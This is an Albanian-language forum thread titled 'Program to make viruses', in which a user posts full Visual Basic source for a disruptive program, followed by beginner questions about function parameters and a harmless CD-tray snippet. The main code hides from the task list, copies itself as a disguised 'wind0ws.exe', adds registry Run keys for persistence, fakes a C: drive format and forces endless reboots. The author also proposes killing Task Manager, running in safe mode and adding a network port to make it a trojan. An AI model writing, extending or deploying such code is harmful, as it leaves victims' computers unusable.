Program per te bere viruse

[Force-Intruder]

LoL Ardi.... kuptohet qe mund ta kisha evituar ate punen e CD-ROM te bere ne menyre aq te shemtuar (me blloqe "if...then") duke perdorur timer. Po ne qofte se do ta beja kete, do te permiresoja menyren e startupit (first thing loading), te fusja nje winsock control me nje porte atehere do te ishte nje virus i mirfillte plus trojan apo jo ????
Jo progress Baret jane thjesht per anen vizuale per ta bere me interesante.
Mund te permiresohet duke e bere : 1. te vrase taskmgr.exe, 2. te ngarkoje para windows, 3.te fshehe butonin start, te ngarkohet edhe ne safe mode, ti eliminohet loja me cd dhe te lihen vetem 5 sec kohe para rebooot...... lol
Kompjuteri behet reboot perpetual, nje gje mjaft e bezdisshme.
Kodi vijon me poshte ok?

Bye


PS - Jo vfare plugin ??? jane te gjitha api calls dhe nuk kane nevoje per asgje ....i thirre ekzekutohen LoL.

[Force-Intruder]

Option Explicit
Dim DilNgaWindows As New clsExitWindows
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Private Sub Form_Load()
App.TaskVisible = False
Timer1.Enabled = True
Call Startup
Call Kopje
End Sub



Private Sub Timer1_Timer()

pb.Min = "0"
pb.Max = "2000"

pb.Value = pb.Value + "1"

If pb.Value = "150" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "300" Then
lbl1.Caption = "Filloi tallja me CD-ROM !!!"
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "450" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "600" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "750" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "900" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "1050" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "1200" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "1350" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "1500" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "1750" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "1900" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "2000" Then
mciSendString "set cdaudio door open", 0, 0, 0
pb.Value = "2000"

Timer1.Enabled = False
Timer2.Enabled = True
End If

End Sub

Private Sub Timer2_Timer()

pb2.Min = "0"
pb2.Max = "1000"

pb2.Value = pb2.Value + "1"

If pb2.Value = "10" Then
lbl1.Caption = "Filloi Formatimi (Quick)i C: !!!"
End If

If pb2.Value = "999" Then
lbl1.Caption = "Bye Bye (LoL)!!!"
Call FIKE
End If

If pb2.Value = "1000" Then
pb2.Value = "1000" '
Timer2.Enabled = False
End If

End Sub
Public Function Startup() As Long
On Error Resume Next

Call savestring(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cam", "C:\WINDOWS\wind0ws.exe")
DoEvents
Call savestring(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "camdrvs", "C:\Winnt\wind0ws.exe")
Exit Function
End Function

Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(Hkey, strPath, keyhand)
r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
r = RegCloseKey(keyhand)
End Sub
Public Function Kopje() As Long
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\WIND0WS.exe"
DoEvents
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Winnt\WIND0WS.exe"
Exit Function
End Function


Public Function FIKE() As Long
DilNgaWindows.ExitWindows WE_REBOOT
End Function

------------------------------------------------------------------------------
MOduli 1 (tentative per berje memory resident)

Option Explicit
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1 ' Unicode nul terminated String
Public Const REG_DWORD = 4 ' 32-bit number
Public Const HKEY_LOCAL_MACHINE = &H80000002

----------------------------------------------------------------------------------
moduli clsExitWindows (pure API)

Option Explicit

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32" (ByVal _
ProcessHandle As Long, _
ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" _
Alias "LookupPrivilegeValueA" _
(ByVal lpSystemName As String, ByVal lpName As String, lpLuid _
As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" _
(ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES _
, ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long

'Konstantet
'************************************************* *****************************
Private Const EWX_FORCE As Long = 4
'************************************************* *****************************

'Llojet
'************************************************* *****************************
Private Type LUID
UsedPart As Long
IgnoredForNowHigh32BitPart As Long
End Type

Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
TheLuid As LUID
Attributes As Long
End Type
'************************************************* *****************************

'Enumeration
'************************************************* *****************************
Public Enum EnumExitWindows

WE_LOGOFF = 0
WE_SHUTDOWN = 1
WE_REBOOT = 2
WE_POWEROFF = 8

End Enum
'************************************************* *****************************

'Functions and Subs
'************************************************* *****************************
Private Sub AdjustToken()
Const TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_QUERY = &H8
Const SE_PRIVILEGE_ENABLED = &H2
Dim hdlProcessHandle As Long
Dim hdlTokenHandle As Long
Dim tmpLuid As LUID
Dim tkp As TOKEN_PRIVILEGES
Dim tkpNewButIgnored As TOKEN_PRIVILEGES
Dim lBufferNeeded As Long

hdlProcessHandle = GetCurrentProcess()
OpenProcessToken hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or _
TOKEN_QUERY), hdlTokenHandle

' Get the LUID for shutdown privilege.
LookupPrivilegeValue "", "SeShutdownPrivilege", tmpLuid

tkp.PrivilegeCount = 1 ' One privilege to set
tkp.TheLuid = tmpLuid
tkp.Attributes = SE_PRIVILEGE_ENABLED

' Enable the shutdown privilege in the access token of this process.
AdjustTokenPrivileges hdlTokenHandle, False, _
tkp, Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded

End Sub


Public Sub ExitWindows(ByVal aOption As EnumExitWindows)

AdjustToken

Select Case aOption
Case EnumExitWindows.WE_LOGOFF
ExitWindowsEx (EnumExitWindows.WE_LOGOFF Or EWX_FORCE), &HFFFF
Case EnumExitWindows.WE_REBOOT
ExitWindowsEx (EnumExitWindows.WE_SHUTDOWN Or EWX_FORCE Or EnumExitWindows.WE_REBOOT), &HFFFF
Case EnumExitWindows.WE_SHUTDOWN
ExitWindowsEx (EnumExitWindows.WE_SHUTDOWN Or EWX_FORCE), &HFFFF
Case EnumExitWindows.WE_POWEROFF
ExitWindowsEx (EnumExitWindows.WE_POWEROFF Or EWX_FORCE), &HFFFF
End Select

End Sub


------------------------------------------------------------


Sic mund ta shikosh mund te beje edhe logoff, poweroff, ose shut down pervec restartit.

[sniper_007]

vetem kete pjesen ketu kuptoj un .......
te tjerat spo i kuptoj dot
po ", 0, 0, 0" per cfar sherbejne ???

NDIHME...........




Timer1.Enabled = True
Call Startup
Call Kopje
End Sub



Private Sub Timer1_Timer()

pb.Min = "0"
pb.Max = "2000"

pb.Value = pb.Value + "1"

If pb.Value = "150" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "300" Then
lbl1.Caption = "Filloi tallja me CD-ROM !!!"
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "450" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "600" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "750" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "900" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "1050" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "1200" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "1350" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "1500" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "1750" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If

If pb.Value = "1900" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If

If pb.Value = "2000" Then
mciSendString "set cdaudio door open", 0, 0, 0
pb.Value = "2000"

Timer1.Enabled = False
Timer2.Enabled = True
End If

End Sub

Private Sub Timer2_Timer()

pb2.Min = "0"
pb2.Max = "1000"

pb2.Value = pb2.Value + "1"

If pb2.Value = "10" Then
lbl1.Caption = "Filloi Formatimi (Quick)i C: !!!"
End If

If pb2.Value = "999" Then
lbl1.Caption = "Bye Bye (LoL)!!!"
Call FIKE
End If

If pb2.Value = "1000" Then
pb2.Value = "1000" '
Timer2.Enabled = False
End If

End Sub

[edspace]

Sniper,

Nje program mund te ndahet ne disa funksione dhe cdo funksion merr parametrat e tij.

psh: Hidhi nje sy adreses se faqes se forumit.
showthread.php ne rastin tone mund te jete funksion me vete qe merr numrin e nje posti dhe e nxjerr ate ne faqen e forumit. Pra numri i postimit eshte parametri qe i duhet funksionit showthread.
Postimi yt ka numri 553847 prandaj dhe argumenti eshte postid=553347.

Edhe ne VB ka funksione te ndryshme. Disa funksione jane standarte dhe i ka bere microsoft qe te mos lodhesh ti. Disa funksione te tjera duhet ti besh ti vete.

Per te thirur nje funksion perdorim emrin e funksionit dhe pastaj veme parametrat.

shembul:
private sub mesatare ( a as integer, b as integer )
msgbox "mesatarja eshte " & ( a + b) / 2
end sub

Per te gjetur mesataren e dy numrava une theras funksionin me lart
mesatare 10, 20

Kjo do nxjerre nje mesazh ne ekran: "mesatarja eshte 15"


E njejta gje ndodh edhe me kodin me lart
mciSendString "set cdaudio door open", 0, 0, 0

F-I ka perdorur funksionin mciSendString me 4 argumenta.
Argumenti i pare "set cdaudio door open" hap tryezen e CD-romit.
Argumenti i dyte, i trete, dhe i katert jane 0.

Ne kete rast FI nuk i ka perdorur argumentat e dyte, trete, dhe te katert dhe i ka lene 0. Nqs do te mesosh perse sherbejne shko tek MSDN
http://msdn.microsoft.com/library/de...sendstring.asp

[Force-Intruder]

Po Sniper... Edi ka te drejte me shpjegimin e tij..
Nejse tani qe po e shikoj kodin po habitem edhe une me gjithe ato zero.... une te them te drejten e ndryshova nga versioni i pare ku perdorja te parametrat e tjere nje API timer si per te hapur dhe mbyllur CD ashtu edhe per te bllokuar ctrl+alt+del
dhe kur i modifikova 1 var e bera 0, kurse 0 tjeter kishte te bente me timerin API....se nga doli ajo e treta nuk e di......
LoL Ka mundesi ta kete vene vete VB
Vi re deklarimet ne fillim nqs do te perdoresh ate call ok ?
Bye....

[sniper_007]

F-I me be nji program te thjesht fare , qe te hapi dhe te mbylli porten e cd-rom-it, (po pate mundesi) dhe me dergo kodin , se u mora nja 2 ore me kete kodin ketu lart dhe se ndava dot, me dilte dicka mangut ose tepert te "declarations",
ok ?
bye

[Force-Intruder]

Hmmmm po ... une per ta hapur e bej kollaj fare me dy rreshta..LoL po eshte puna qe nqs do ta besh qe edhe ta hapi edhe ta mbylli disa hare do sdo duhet te vesh nje timer qe te percaktosh kohen kur do ta hapi dhe kur do ta mbylli. Per ta hapur cd do te mjaftonte kjo qe po marr nga kodi me siper :
----------------------------------------------
Option Explicit
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Private Sub Form_Load()
mciSendString "set cdaudio door open", 0, 0, 0
End Sub
---------------------------------------------------------------
Kaq do ta hapte cd..... per ta hapur e per ta mbyllur mund te perdoresh timer apo po deshe API timer etj.
Nejse do ta dergoj sa me shpejt edhe nje kod te tille ok?

[sniper_007]

e provova , u hap porta e cd-rom-it , tani do mundohem ta modifikoj vet , se po i ber te tera gjerat ti ca u kuptua ?
thank youuuuuuuu
bye

[sniper_007]

F-I ku e more API timer-in se controllova te COMPONENTS po spo e gjegj dot .

[Force-Intruder]

Harroje punen e API timerit...se eshte heret tani per tani....terhiq nje timer normal dhe nje progress bar aty dhe lodro per qejf.